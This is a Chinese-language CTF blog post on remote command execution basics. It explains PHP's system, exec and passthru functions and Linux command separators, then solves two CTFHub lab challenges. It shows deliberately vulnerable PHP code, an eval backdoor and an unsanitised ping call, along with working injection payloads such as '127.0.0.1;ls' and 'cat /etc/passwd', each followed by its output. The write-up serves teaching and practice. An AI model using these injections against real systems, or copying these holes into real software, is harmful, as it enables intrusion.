CTF随笔-RCE基础

2020-10-14  本文已影响0人  星际男

0x00 开篇

脑子不够用,记录积累的知识,第一篇。
RCE全称是remote command/code execute,即远程执行漏洞。
漏洞起源是程序员开发带有执行输入-执行功能的系统时,由于输入过滤不严,导致执行的命令产生注入。
ctf常见有RCE题目,最原始的是一个输入框,执行ping命令。

0x01 php命令执行

回顾php执行命令的函数
php 执行 命令行命令
PHP提供共了3个专门的执行外部命令的函数:

system(),exec(),passthru()

参考:http://www.jb51.net/article/19618.htm

区别:
system() 输出并返回最后一行shell结果。
exec() 不输出结果,返回最后一行shell结果,所有结果可以保存到一个返回的数组里面。
passthru() 只调用命令,把命令的运行结果原样地直接输出到标准输出设备上。
相同点:都可以获得命令执行的状态码

为了更加直观的显示执行函数的作用和用法,下面测试每个执行命令的函数的执行效果:

system ( string $command [, int &$return_var ] ) : string
exec ( string $command [, array &$output [, int &$return_var ]] ) : string
shell_exec ( string $cmd ) : string
passthru ( string $command [, int &$return_var ] ) : void

注意,最后的passthru是没有返回值。
下面调用php代码查看执行效果

<?php 
echo "line1--------</br>";
echo(system("ls"));
echo "</br>";
echo "line2--------</br>";
echo(exec("ls"));
echo "</br>";
echo "line3--------</br>";
echo(passthru("ls"));
?>
line1--------
index.html index.nginx-debian.html rcetest.php rcetest.php
line2--------
rcetest.php
line3--------
index.html index.nginx-debian.html rcetest.php 

0x02 linux命令连接符

常用的linux命令连接符有:| ,& ,&&,|| ,;等

; 表示两条命令相继执行,互不干扰
& 表示先执行CMD1 再执行CMD2,这里不考虑CMD1是否成功。使用CMD1 & CMD2
&& 表示先执行CMD1,成功后再执行CMD,否则不执行CMD2。使用CMD1 && CMD2
|| 先执行CMD1,CMD1执行成功就不再执行CMD2,CMD1执行失败则执行CMD2。使用CMD1 || CMD2

常见的linux测试命令
ls 列出目录
ls / 列出根目录
cat 文件名 显示文件内容
cat /etc/passwd 显示用户信息文件

0x03 基础例题

CTFHub eval执行

<?php
if (isset($_REQUEST['cmd'])) {
    eval($_REQUEST["cmd"]);
} else {
    highlight_file(__FILE__);
}
?>

payload

http://challenge-746934853c8e1c69.sandbox.ctfhub.com:10080/?cmd=system("ls");

index.php 
http://challenge-746934853c8e1c69.sandbox.ctfhub.com:10080/?cmd=system("ls /");

bin boot dev etc flag_15129 home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var
http://challenge-746934853c8e1c69.sandbox.ctfhub.com:10080/?cmd=system("cat /flag_15129");

ctfhub{77719a59e91701bc31565441cdde38f17e396269} 

CTFHub 命令注入-无过滤

<?php

$res = FALSE;

if (isset($_GET['ip']) && $_GET['ip']) {
    $cmd = "ping -c 4 {$_GET['ip']}";
    exec($cmd, $res);
}

?>

<!DOCTYPE html>
<html>
<head>
    <title>CTFHub 命令注入-无过滤</title>
</head>
<body>

<h1>CTFHub 命令注入-无过滤</h1>

<form action="#" method="GET">
    <label for="ip">IP : </label><br>
    <input type="text" id="ip" name="ip">
    <input type="submit" value="Ping">
</form>

<hr>

<pre>
<?php
if ($res) {
    print_r($res);
}
?>
</pre>

<?php
show_source(__FILE__);
?>

</body>
</html>

直接使用命令拼接的方法,通过分隔符号,将注入的命令拼接到后面
这里用;| || 拼接均可。注意,由于&在浏览器会被识别为参数分隔符,所以如果使用&,则要转化为url编码%26。下面测试使用三种分隔符,显示的结果。为什么结果显示不一样,可以参考上面的linux命令连接符的讲解。

payload
使用;

 /?ip=127.0.0.1;ls
Array
(
    [0] => PING 127.0.0.1 (127.0.0.1): 56 data bytes
    [1] => 25923892328507.php
    [2] => index.php
)

使用&

/?ip=127.0.0.1%26 ls
Array
(
    [0] => 25923892328507.php
    [1] => index.php
    [2] => PING 127.0.0.1 (127.0.0.1): 56 data bytes
)

使用|

/?ip=127.0.0.1| ls
Array
(
    [0] => 25923892328507.php
    [1] => index.php
)

最终获取flag

/?ip=127.0.0.1;cat 25923892328507.php
Array
(
    [0] => PING 127.0.0.1 (127.0.0.1): 56 data bytes
    [1] => <?php // ctfhub{978d5293b0a125adcc166b99f3fae2a45ef1d9bf}
)
上一篇下一篇

猜你喜欢

热点阅读